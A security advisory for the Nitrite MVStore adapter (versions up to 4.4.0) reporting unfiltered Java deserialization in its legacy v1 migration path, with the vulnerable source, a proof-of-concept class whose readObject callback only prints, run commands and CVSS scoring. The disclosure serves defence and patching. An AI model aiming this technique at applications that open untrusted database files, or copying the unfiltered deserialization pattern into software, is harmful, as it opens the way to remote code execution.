Skip to content

Unfiltered Java Deserialization in Legacy v1 Database Migration Path

Critical
anidotnet published GHSA-9297-g93h-86gg Jul 2, 2026

Package

maven org.dizitart:nitrite-mvstore-adapter (Maven)

Affected versions

<= 4.4.0

Patched versions

4.4.1

Description

Summary

When Nitrite opens a database file, MVStoreUtils.openOrCreate() automatically checks for a legacy v1-format store and, on detecting one (or hitting a compatibility error while opening), triggers an automatic migration path. This path deserializes stored values using NitriteDataType.deserialize(byte[]), which passes the raw bytes directly to java.io.ObjectInputStream.readObject() via a custom NitriteObjectInputStream subclass. That subclass overrides only readClassDescriptor() — solely to remap a handful of known legacy class names to their current equivalents — and implements no class allowlist, blocklist, or ObjectInputFilter (JEP 290). Any Serializable class reachable on the embedding application's classpath can therefore be instantiated via readObject(), with readObject()/readExternal()/readResolve() callbacks invoked unconditionally. If a suitable gadget class (e.g. from commons-collections or similar) happens to be present on the classpath, this is a precondition for remote code execution.

Details

File: nitrite-mvstore-adapter/src/main/java/org/dizitart/no2/mvstore/compat/v1/NitriteDataType.java, lines 350–358

public static Object deserialize(byte[] data) {
    try (ByteArrayInputStream in = new ByteArrayInputStream(data)) {
        try (NitriteObjectInputStream is = new NitriteObjectInputStream(in)) {
            return is.readObject();
        }
    } catch (Throwable e) {
        throw DataUtils.newIllegalArgumentException(
            "Could not deserialize {0}", Arrays.toString(data), e);
    }
}

File: nitrite-mvstore-adapter/src/main/java/org/dizitart/no2/mvstore/compat/v1/NitriteObjectInputStream.java

class NitriteObjectInputStream extends ObjectInputStream {
    private static final Map<String, Class<?>> migrationMap = new HashMap<>();
    static {
        migrationMap.put("org.dizitart.no2.Security$UserCredential", Compat.UserCredential.class);
        migrationMap.put("org.dizitart.no2.NitriteId", Compat.NitriteId.class);
        migrationMap.put("org.dizitart.no2.Index", Compat.Index.class);
        migrationMap.put("org.dizitart.no2.IndexType", Compat.IndexType.class);
        migrationMap.put("org.dizitart.no2.internals.IndexMetaService$IndexMeta", Compat.IndexMeta.class);
        migrationMap.put("org.dizitart.no2.Document", Compat.Document.class);
        migrationMap.put("org.dizitart.no2.meta.Attributes", Compat.Attributes.class);
    }

    @Override
    protected ObjectStreamClass readClassDescriptor() throws IOException, ClassNotFoundException {
        ObjectStreamClass resultClassDescriptor = super.readClassDescriptor();
        for (final String oldName : migrationMap.keySet()) {
            if (resultClassDescriptor != null && resultClassDescriptor.getName().equals(oldName)) {
                Class<?> replacement = migrationMap.get(oldName);
                try {
                    resultClassDescriptor = ObjectStreamClass.lookup(replacement);
                } catch (Exception e) {
                    log.error("Error while replacing class name." + e.getMessage(), e);
                }
            }
        }
        return resultClassDescriptor;
    }
}

readClassDescriptor() only performs a name-substitution lookup against a fixed 7-entry map; it never restricts which classes are allowed to be deserialized. Any other class descriptor read from the stream passes through unchanged (super.readClassDescriptor()'s result), meaning arbitrary classes on the classpath can be instantiated.

Reachability: MVStoreUtils.java

static MVStore openOrCreate(MVStoreConfig storeConfig) {
    ...
    store = builder.open();
    if (dbFile != null) {
        // if the store is file based, test for migration
        testForMigration(store);
    }
    ...
}

testForMigration() runs on every file-based store open, and the broader v1-compatibility handling (triggered on MVStoreException/compatibility errors caught while opening) routes into UpgradeUtil, which uses the compat.v1 package's data types — including NitriteDataType.deserialize() — to read values out of the legacy-format file.

PoC

Environment: JDK 11+, Maven 3.x.

pom.xml dependency:

<dependency>
    <groupId>org.dizitart</groupId>
    <artifactId>nitrite-mvstore-adapter</artifactId>
    <version>4.4.0</version>
</dependency>

PocUnsafeDeserialization.java (placed in the same package as the package-private vulnerable classes to invoke NitriteDataType.deserialize() directly — the exact method used internally during real migration):

package org.dizitart.no2.mvstore.compat.v1;

import java.io.*;

public class PocUnsafeDeserialization {
    public static void main(String[] args) throws Exception {
        EvilGadget evil = new EvilGadget();
        evil.command = "id"; // proof-of-concept marker

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(bos)) {
            oos.writeObject(evil);
        }
        byte[] maliciousPayload = bos.toByteArray();

        // Exact method used internally by Nitrite's legacy v1 migration path
        NitriteDataType.deserialize(maliciousPayload);
    }

    public static class EvilGadget implements Serializable {
        private static final long serialVersionUID = 1L;
        public String command;
        public static boolean readObjectCalled = false;

        private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
            in.defaultReadObject();
            readObjectCalled = true;
            System.out.println("readObject() invoked! command=" + command);
            // In a real exploit with a suitable gadget chain on the classpath:
            // Runtime.getRuntime().exec(command);
        }
    }
}

Run:

mvn clean compile
java -cp "$(mvn -q dependency:build-classpath -Dmdep.outputFile=/dev/stdout):target/classes" \
     org.dizitart.no2.mvstore.compat.v1.PocUnsafeDeserialization

Result (confirmed, 3/3 reproductions on nitrite-mvstore-adapter 4.4.0, the latest release):

>>> EvilGadget.readObject() invoked! command=id

RESULT: readObject() on the attacker-supplied class was invoked with NO
class filtering.

The custom EvilGadget.readObject() callback executed unconditionally, confirming that NitriteDataType.deserialize() (and by extension the legacy-migration path that calls it) performs no class filtering whatsoever.

Impact

Vulnerability type: Deserialization of Untrusted Data (CWE-502). This is the precondition for remote code execution: if a suitable gadget class (e.g. from commons-collections, or any other Serializable class with a dangerous readObject()/readResolve() chain) is present on the embedding application's classpath, an attacker-supplied byte stream reaching this code path can achieve RCE. Independent of gadget availability, arbitrary classes can still be instantiated and have their constructors/callback methods invoked, which is itself a serious primitive (e.g. for triggering side effects, resource exhaustion, or information disclosure via classes with sensitive behavior in static initializers/constructors reachable indirectly).

Who is impacted: Any application that opens a Nitrite database file that may originate from, or be influenced by, an untrusted party — for example, a "restore backup" or "import database" feature that accepts a user-uploaded .db file, or any scenario where the file being opened is not fully trusted. Because testForMigration() runs automatically on every file-based store open with no opt-out, this code path is reached as part of ordinary, expected library usage — no unusual configuration is required.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. Learn more on MITRE.

Credits